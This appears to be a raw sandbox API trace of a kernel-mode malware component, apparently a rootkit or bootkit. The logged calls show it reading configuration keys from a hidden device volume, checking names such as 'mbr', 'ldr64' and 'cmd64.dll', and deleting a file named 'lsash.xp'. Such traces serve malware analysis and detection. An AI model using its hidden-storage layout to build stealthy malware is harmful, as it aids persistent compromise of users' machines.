[0118.068] IdePortDispatch () returned 0x103 [0118.068] KeWaitForMutexObject () returned 0x0 [0118.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.068] KeLeaveCriticalRegion () [0118.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.069] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.069] KeEnterCriticalRegion () [0118.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] KeLeaveCriticalRegion () [0118.069] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.069] KeEnterCriticalRegion () [0118.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.069] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] KeLeaveCriticalRegion () [0118.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.069] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.069] KeEnterCriticalRegion () [0118.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] ExFreePoolWithTag (P=0xfffffa8003af8480, Tag=0x0) [0118.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] KeLeaveCriticalRegion () [0118.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.069] ReleaseMutex (hMutex=0xf0) returned 1 [0118.069] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.069] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.069] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.069] KeEnterCriticalRegion () [0118.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.069] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.070] IdePortDispatch () returned 0x103 [0118.070] KeWaitForMutexObject () returned 0x0 [0118.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.070] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.070] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.070] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28390 [0118.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.070] KeLeaveCriticalRegion () [0118.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.070] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.070] KeEnterCriticalRegion () [0118.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.070] KeLeaveCriticalRegion () [0118.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.070] KeEnterCriticalRegion () [0118.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.070] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.070] IdePortDispatch () returned 0x103 [0118.071] KeWaitForMutexObject () returned 0x0 [0118.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.071] KeLeaveCriticalRegion () [0118.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.071] KeEnterCriticalRegion () [0118.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c64000 [0118.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.071] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.071] IdePortDispatch () returned 0x103 [0118.071] KeWaitForMutexObject () returned 0x0 [0118.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.071] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.071] IdePortDispatch () returned 0x103 [0118.072] KeWaitForMutexObject () returned 0x0 [0118.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.072] KeLeaveCriticalRegion () [0118.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.072] KeEnterCriticalRegion () [0118.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.072] KeLeaveCriticalRegion () [0118.073] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.073] KeEnterCriticalRegion () [0118.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.073] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.073] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d17d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.073] KeLeaveCriticalRegion () [0118.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.073] KeEnterCriticalRegion () [0118.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.073] ExFreePoolWithTag (P=0xfffffa8003b28390, Tag=0x0) [0118.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.073] KeLeaveCriticalRegion () [0118.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.073] ReleaseMutex (hMutex=0xf0) returned 1 [0118.073] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.073] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.073] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.073] KeEnterCriticalRegion () [0118.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.073] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.073] IdePortDispatch () returned 0x103 [0118.074] KeWaitForMutexObject () returned 0x0 [0118.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.074] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.074] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.074] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.074] KeLeaveCriticalRegion () [0118.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.074] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.074] KeEnterCriticalRegion () [0118.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.074] KeLeaveCriticalRegion () [0118.074] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.074] KeEnterCriticalRegion () [0118.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.074] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.074] IdePortDispatch () returned 0x103 [0118.075] KeWaitForMutexObject () returned 0x0 [0118.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.075] KeLeaveCriticalRegion () [0118.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.075] KeEnterCriticalRegion () [0118.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c65000 [0118.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.075] IdePortDispatch () returned 0x103 [0118.075] KeWaitForMutexObject () returned 0x0 [0118.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.076] IdePortDispatch () returned 0x103 [0118.076] KeWaitForMutexObject () returned 0x0 [0118.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.076] KeLeaveCriticalRegion () [0118.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.077] KeEnterCriticalRegion () [0118.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] KeLeaveCriticalRegion () [0118.077] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.077] KeEnterCriticalRegion () [0118.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.077] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] KeLeaveCriticalRegion () [0118.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.077] KeEnterCriticalRegion () [0118.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] KeLeaveCriticalRegion () [0118.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.077] ReleaseMutex (hMutex=0xf0) returned 1 [0118.077] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.077] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.077] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.077] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.077] KeEnterCriticalRegion () [0118.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.077] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.077] IdePortDispatch () returned 0x103 [0118.078] KeWaitForMutexObject () returned 0x0 [0118.078] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.078] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.078] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.078] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.078] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.078] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.078] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.078] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.078] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.078] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.078] KeLeaveCriticalRegion () [0118.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.078] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.078] KeEnterCriticalRegion () [0118.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.078] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.078] IdePortDispatch () returned 0x103 [0118.079] KeWaitForMutexObject () returned 0x0 [0118.079] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.079] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.079] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.079] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.079] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.079] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.079] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.079] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.079] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.079] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.079] KeLeaveCriticalRegion () [0118.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.079] ReleaseMutex (hMutex=0x100) returned 1 [0118.079] Sleep (dwMilliseconds=0x2bf20) [0118.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69958090, dwHighDateTime=0x1d24fa4)) [0118.088] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.088] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.088] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.088] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.088] KeEnterCriticalRegion () [0118.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.088] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.088] IdePortDispatch () returned 0x103 [0118.089] KeWaitForMutexObject () returned 0x0 [0118.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.089] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.089] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.089] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.089] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.089] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1120 [0118.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.089] KeLeaveCriticalRegion () [0118.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.089] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.089] KeEnterCriticalRegion () [0118.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.089] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.089] 